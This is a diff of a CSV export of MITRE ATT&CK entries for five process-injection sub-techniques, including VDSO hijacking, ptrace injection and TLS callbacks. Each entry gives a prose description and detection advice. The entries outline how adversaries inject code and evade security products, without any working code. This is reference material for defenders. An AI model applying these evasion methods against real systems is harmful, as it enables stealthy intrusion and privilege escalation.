'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}, {'url': 'https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html', 'description': 'MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.', 'source_name': 'MalwareTech Power Loader Aug 2013'}, {'url': 'https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/', 'description': 'Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.', 'source_name': 'WeLiveSecurity Gapz and Redyms Mar 2013'}, {'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx', 'description': 'Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.', 'source_name': 'Microsoft SendNotifyMessage function'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/011,mitre-attack,T1055.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Extra Window Memory Injection,"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.",True,"['Administrator', 'SYSTEM', 'User']",['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/011', 'external_id': 'T1055.011'}, {'source_name': 'Microsoft Window Classes', 'description': 'Microsoft. (n.d.). About Window Classes. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633574.aspx'}, {'source_name': 'Microsoft GetWindowLong function', 'description': 'Microsoft. (n.d.). GetWindowLong function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633584.aspx'}, {'source_name': 'Microsoft SetWindowLong function', 'description': 'Microsoft. (n.d.). SetWindowLong function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms633591.aspx'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}, {'source_name': 'MalwareTech Power Loader Aug 2013', 'description': 'MalwareTech. (2013, August 13). PowerLoader Injection – Something truly amazing. Retrieved December 16, 2017.', 'url': 'https://www.malwaretech.com/2013/08/powerloader-injection-something-truly.html'}, {'source_name': 'WeLiveSecurity Gapz and Redyms Mar 2013', 'description': 'Matrosov, A. (2013, March 19). Gapz and Redyms droppers based on Power Loader code. Retrieved December 16, 2017.', 'url': 'https://www.welivesecurity.com/2013/03/19/gapz-and-redyms-droppers-based-on-power-loader-code/'}, {'source_name': 'Microsoft SendNotifyMessage function', 'description': 'Microsoft. (n.d.). SendNotifyMessage function. Retrieved December 16, 2017.', 'url': 'https://msdn.microsoft.com/library/windows/desktop/ms644953.aspx'}]",1.0,attack-pattern,attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T17:18:32.126Z,2020-11-10T18:29:31.004Z,Extra Window Memory Injection,"Adversaries may inject malicious code into process via Extra Window Memory (EWM) in order to evade process-based defenses as well as possibly elevate privileges. EWM injection is a method of executing arbitrary code in the address space of a separate live process. Before creating a window, graphical Windows-based processes must prescribe to or register a windows class, which stipulate appearance and behavior (via windows procedures, which are functions that handle input/output of data).(Citation: Microsoft Window Classes) Registration of new windows classes can include a request for up to 40 bytes of EWM to be appended to the allocated memory of each instance of that class. This EWM is intended to store data specific to that window and has specific application programming interface (API) functions to set and get its value. (Citation: Microsoft GetWindowLong function) (Citation: Microsoft SetWindowLong function) @@ -2389,145 +2616,148 @@ Although small, the EWM is large enough to store a 32-bit pointer and is often u Execution granted through EWM injection may allow access to both the target process's memory and possibly elevated privileges. Writing payloads to shared sections also avoids the use of highly monitored API calls such as WriteProcessMemory and CreateRemoteThread.(Citation: Elastic Process Injection July 2017) More sophisticated malware samples may also potentially bypass protection mechanisms such as data execution prevention (DEP) by triggering a combination of windows procedures and other system functions that will rewrite the malicious payload inside an executable portion of the target process. (Citation: MalwareTech Power Loader Aug 2013) (Citation: WeLiveSecurity Gapz and Redyms Mar 2013) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--0042a9f5-f053-4769-b3ef-9ad018dfa298,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:31.004Z,2020-01-14T17:18:32.126Z,Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017),['Process: OS API Execution'],,"['Anti-virus', 'Application control']",,['Windows'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.014', 'url': 'https://attack.mitre.org/techniques/T1055/014'}, {'source_name': 'ELF Injection May 2009', 'url': 'https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html', 'description': ""O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020.""}, {'source_name': 'Backtrace VDSO', 'url': 'https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/', 'description': 'backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.'}, {'source_name': 'VDSO Aug 2005', 'url': 'https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/', 'description': 'Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.'}, {'source_name': 'Syscall 2014', 'url': 'https://lwn.net/Articles/604515/', 'description': 'Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.'}, {'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.', 'source_name': 'ArtOfMemoryForensics'}, {'url': 'https://www.gnu.org/software/acct/', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'source_name': 'GNU Acct'}, {'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'source_name': 'RHEL auditd'}, {'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'source_name': 'Chokepoint preload rootkits'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/014,mitre-attack,T1055.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,VDSO Hijacking,"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via EWM injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/011,mitre-attack,T1055.011,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['Process: OS API Execution'],"['Anti-virus', 'Application control']",Monitor for API calls related to enumerating and manipulating EWM such as GetWindowLong (Citation: Microsoft GetWindowLong function) and SetWindowLong (Citation: Microsoft SetWindowLong function). Malware associated with this technique have also used SendNotifyMessage (Citation: Microsoft SendNotifyMessage function) to trigger the associated window procedure and eventual malicious injection. (Citation: Elastic Process Injection July 2017),True,,['Windows'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/014', 'external_id': 'T1055.014'}, {'source_name': 'ELF Injection May 2009', 'description': ""O'Neill, R. (2009, May). Modern Day ELF Runtime infection via GOT poisoning. Retrieved March 15, 2020."", 'url': 'https://web.archive.org/web/20150711051625/http://vxer.org/lib/vrn00.html'}, {'source_name': 'Backtrace VDSO', 'description': 'backtrace. (2016, April 22). ELF SHARED LIBRARY INJECTION FORENSICS. Retrieved June 15, 2020.', 'url': 'https://backtrace.io/blog/backtrace/elf-shared-library-injection-forensics/'}, {'source_name': 'VDSO Aug 2005', 'description': 'Petersson, J. (2005, August 14). What is linux-gate.so.1?. Retrieved June 16, 2020.', 'url': 'https://web.archive.org/web/20051013084246/http://www.trilithium.com/johan/2005/08/linux-gate/'}, {'source_name': 'Syscall 2014', 'description': 'Drysdale, D. (2014, July 16). Anatomy of a system call, part 2. Retrieved June 16, 2020.', 'url': 'https://lwn.net/Articles/604515/'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}]",1.0,attack-pattern,attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:35:00.781Z,2020-06-20T22:28:45.232Z,VDSO Hijacking,"Adversaries may inject malicious code into processes via VDSO hijacking in order to evade process-based defenses as well as possibly elevate privileges. Virtual dynamic shared object (vdso) hijacking is a method of executing arbitrary code in the address space of a separate live process. VDSO hijacking involves redirecting calls to dynamically linked shared libraries. Memory protections may prevent writing executable code to a process via [Ptrace System Calls](https://attack.mitre.org/techniques/T1055/008). However, an adversary may hijack the syscall interface code stubs mapped into a process from the vdso shared object to execute syscalls to open and map a malicious shared object. This code can then be invoked by redirecting the execution flow of the process via patched memory address references stored in a process' global offset table (which store absolute addresses of mapped library functions).(Citation: ELF Injection May 2009) (Citation: Backtrace VDSO) (Citation: VDSO Aug 2005) (Citation: Syscall 2014) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--98be40f2-c86b-4ade-b6fc-4964932040e5,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-06-20T22:28:45.232Z,2020-01-14T01:35:00.781Z,"Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via VDSO hijacking may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/014,mitre-attack,T1055.014,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: OS API Execution', 'Module: Module Load']","['Anti-virus', 'Application control']","Monitor for malicious usage of system calls, such as ptrace and mmap, that can be used to attach to, manipulate memory, then redirect a processes' execution path. Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Module: Module Load']",,"['Anti-virus', 'Application control']",,['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.009', 'url': 'https://attack.mitre.org/techniques/T1055/009'}, {'url': 'http://hick.org/code/skape/papers/needle.txt', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'source_name': 'Uninformed Needle'}, {'source_name': 'GDS Linux Injection', 'url': 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html', 'description': 'McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.'}, {'source_name': 'DD Man', 'url': 'http://man7.org/linux/man-pages/man1/dd.1.html', 'description': 'Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/009,mitre-attack,T1055.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Proc Memory,"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/009', 'external_id': 'T1055.009'}, {'source_name': 'Uninformed Needle', 'description': 'skape. (2003, January 19). Linux x86 run-time process manipulation. Retrieved December 20, 2017.', 'url': 'http://hick.org/code/skape/papers/needle.txt'}, {'source_name': 'GDS Linux Injection', 'description': 'McNamara, R. (2017, September 5). Linux Based Inter-Process Code Injection Without Ptrace(2). Retrieved February 21, 2020.', 'url': 'https://blog.gdssecurity.com/labs/2017/9/5/linux-based-inter-process-code-injection-without-ptrace2.html'}, {'source_name': 'DD Man', 'description': 'Kerrisk, M. (2020, February 2). DD(1) User Commands. Retrieved February 21, 2020.', 'url': 'http://man7.org/linux/man-pages/man1/dd.1.html'}]",1.0,attack-pattern,attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:34:10.588Z,2020-06-20T22:25:55.331Z,Proc Memory,"Adversaries may inject malicious code into processes via the /proc filesystem in order to evade process-based defenses as well as possibly elevate privileges. Proc memory injection is a method of executing arbitrary code in the address space of a separate live process. Proc memory injection involves enumerating the memory of a process via the /proc filesystem (/proc/[pid]) then crafting a return-oriented programming (ROP) payload with available gadgets/instructions. Each running process has its own directory, which includes memory mappings. Proc memory injection is commonly performed by overwriting the target processes’ stack using memory mappings provided by the /proc filesystem. This information can be used to enumerate offsets (including the stack) and gadgets (or instructions within the program that can be used to build a malicious payload) otherwise hidden by process memory protections such as address space layout randomization (ASLR). Once enumerated, the target processes’ memory map within /proc/[pid]/maps can be overwritten using dd.(Citation: Uninformed Needle)(Citation: GDS Linux Injection)(Citation: DD Man) Other techniques such as [Dynamic Linker Hijacking](https://attack.mitre.org/techniques/T1574/006) may be used to populate a target process with more available gadgets. Similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012), proc memory injection may target child processes (such as a backgrounded copy of sleep).(Citation: GDS Linux Injection) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--d201d4cc-214d-4a74-a1ba-b3fa09fd4591,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-06-20T22:25:55.331Z,2020-01-14T01:34:10.588Z,"File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via proc memory injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/009,mitre-attack,T1055.009,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,['File: File Modification'],"['Application control', 'Anti-virus']","File system monitoring can determine if /proc files are being modified. Users should not have permission to modify these in most cases. -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",['File: File Modification'],,"['Application control', 'Anti-virus']",,['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.008', 'url': 'https://attack.mitre.org/techniques/T1055/008'}, {'source_name': 'PTRACE man', 'url': 'http://man7.org/linux/man-pages/man2/ptrace.2.html', 'description': ""Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020.""}, {'source_name': 'Medium Ptrace JUL 2018', 'url': 'https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be', 'description': 'Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.'}, {'source_name': 'BH Linux Inject', 'url': 'https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf', 'description': 'Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.'}, {'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.', 'source_name': 'ArtOfMemoryForensics'}, {'url': 'https://www.gnu.org/software/acct/', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'source_name': 'GNU Acct'}, {'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'source_name': 'RHEL auditd'}, {'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'source_name': 'Chokepoint preload rootkits'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/008,mitre-attack,T1055.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Ptrace System Calls,"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/008', 'external_id': 'T1055.008'}, {'source_name': 'PTRACE man', 'description': ""Kerrisk, M. (2020, February 9). PTRACE(2) - Linux Programmer's Manual. Retrieved February 21, 2020."", 'url': 'http://man7.org/linux/man-pages/man2/ptrace.2.html'}, {'source_name': 'Medium Ptrace JUL 2018', 'description': 'Jain, S. (2018, July 25). Code injection in running process using ptrace. Retrieved February 21, 2020.', 'url': 'https://medium.com/@jain.sm/code-injection-in-running-process-using-ptrace-d3ea7191a4be'}, {'source_name': 'BH Linux Inject', 'description': 'Colgan, T. (2015, August 15). Linux-Inject. Retrieved February 21, 2020.', 'url': 'https://github.com/gaffe23/linux-inject/blob/master/slides_BHArsenal2015.pdf'}, {'source_name': 'ArtOfMemoryForensics', 'description': 'Ligh, M.H. et al.. (2014, July). The Art of Memory Forensics: Detecting Malware and Threats in Windows, Linux, and Mac Memory. Retrieved December 20, 2017.'}, {'source_name': 'GNU Acct', 'description': 'GNU. (2010, February 5). The GNU Accounting Utilities. Retrieved December 20, 2017.', 'url': 'https://www.gnu.org/software/acct/'}, {'source_name': 'RHEL auditd', 'description': 'Jahoda, M. et al.. (2017, March 14). redhat Security Guide - Chapter 7 - System Auditing. Retrieved December 20, 2017.', 'url': 'https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/6/html/security_guide/chap-system_auditing'}, {'source_name': 'Chokepoint preload rootkits', 'description': 'stderr. (2014, February 14). Detecting Userland Preload Rootkits. Retrieved December 20, 2017.', 'url': 'http://www.chokepoint.net/2014/02/detecting-userland-preload-rootkits.html'}]",1.1,attack-pattern,attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:33:19.065Z,2021-10-18T12:26:31.766Z,Ptrace System Calls,"Adversaries may inject malicious code into processes via ptrace (process trace) system calls in order to evade process-based defenses as well as possibly elevate privileges. Ptrace system call injection is a method of executing arbitrary code in the address space of a separate live process. Ptrace system call injection involves attaching to and modifying a running process. The ptrace system call enables a debugging process to observe and control another process (and each individual thread), including changing memory and register values.(Citation: PTRACE man) Ptrace system call injection is commonly performed by writing arbitrary code into a running process (ex: malloc) then invoking that memory with PTRACE_SETREGS to set the register containing the next instruction to execute. Ptrace system call injection can also be done with PTRACE_POKETEXT/PTRACE_POKEDATA, which copy data to a specific address in the target processes’ memory (ex: the current address of the next instruction). (Citation: PTRACE man)(Citation: Medium Ptrace JUL 2018) -Ptrace system call injection may not be possible targeting processes with high-privileges, and on some system those that are non-child processes.(Citation: BH Linux Inject) +Ptrace system call injection may not be possible targeting processes that are non-child processes and/or have higher-privileges.(Citation: BH Linux Inject) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--ea016b56-ae0e-47fe-967a-cc0ad51af67f,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-06-20T22:24:56.734Z,2020-01-14T01:33:19.065Z,"Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via ptrace system call injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/008,mitre-attack,T1055.008,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring for Linux specific calls such as the ptrace system call should not generate large amounts of data due to their specialized nature, and can be a very effective method to detect some of the common process injection methods.(Citation: ArtOfMemoryForensics) (Citation: GNU Acct) (Citation: RHEL auditd) (Citation: Chokepoint preload rootkits) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ","['Process: OS API Execution', 'Process: Process Access']",,"['Anti-virus', 'Application control']",,['Linux'],,,,,,,,,,,,,, -"[{'source_name': 'mitre-attack', 'external_id': 'T1055.005', 'url': 'https://attack.mitre.org/techniques/T1055/005'}, {'url': 'https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html', 'description': 'Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.', 'source_name': 'FireEye TLS Nov 2017'}, {'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'source_name': 'Elastic Process Injection July 2017'}]","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]",1.0,True,https://attack.mitre.org/techniques/T1055/005,mitre-attack,T1055.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,Thread Local Storage,"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. +Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ",True,,['Linux'],,,,,,,,, +"[{'kill_chain_name': 'mitre-attack', 'phase_name': 'defense-evasion'}, {'kill_chain_name': 'mitre-attack', 'phase_name': 'privilege-escalation'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1055/005', 'external_id': 'T1055.005'}, {'source_name': 'FireEye TLS Nov 2017', 'description': 'Vaish, A. & Nemes, S. (2017, November 28). Newly Observed Ursnif Variant Employs Malicious TLS Callback Technique to Achieve Process Injection. Retrieved December 18, 2017.', 'url': 'https://www.fireeye.com/blog/threat-research/2017/11/ursnif-variant-malicious-tls-callback-technique.html'}, {'source_name': 'Elastic Process Injection July 2017', 'description': 'Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.', 'url': 'https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process'}]",1.1,attack-pattern,attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-01-14T01:30:41.092Z,2021-10-18T12:24:54.198Z,Thread Local Storage,"Adversaries may inject malicious code into processes via thread local storage (TLS) callbacks in order to evade process-based defenses as well as possibly elevate privileges. TLS callback injection is a method of executing arbitrary code in the address space of a separate live process. TLS callback injection involves manipulating pointers inside a portable executable (PE) to redirect a process to malicious code before reaching the code's legitimate entry point. TLS callbacks are normally used by the OS to setup and/or cleanup data used by threads. Manipulating TLS callbacks may be performed by allocating and writing to specific offsets within a process’ memory space using other [Process Injection](https://attack.mitre.org/techniques/T1055) techniques such as [Process Hollowing](https://attack.mitre.org/techniques/T1055/012).(Citation: FireEye TLS Nov 2017) -Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ",attack-pattern--e49ee9d2-0d98-44ef-85e5-5d3100065744,attack-pattern,"['defense-evasion', 'privilege-escalation']",2020-11-10T18:29:30.984Z,2020-01-14T01:30:41.092Z,"Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) +Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via TLS callback injection may also evade detection from security products since the execution is masked under a legitimate process. ","['defense-evasion', 'privilege-escalation']",https://attack.mitre.org/techniques/T1055/005,mitre-attack,T1055.005,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Process: Process Modification', 'Process: OS API Execution', 'Process: Process Access']","['Anti-virus', 'Application control']","Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017) -Analyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise 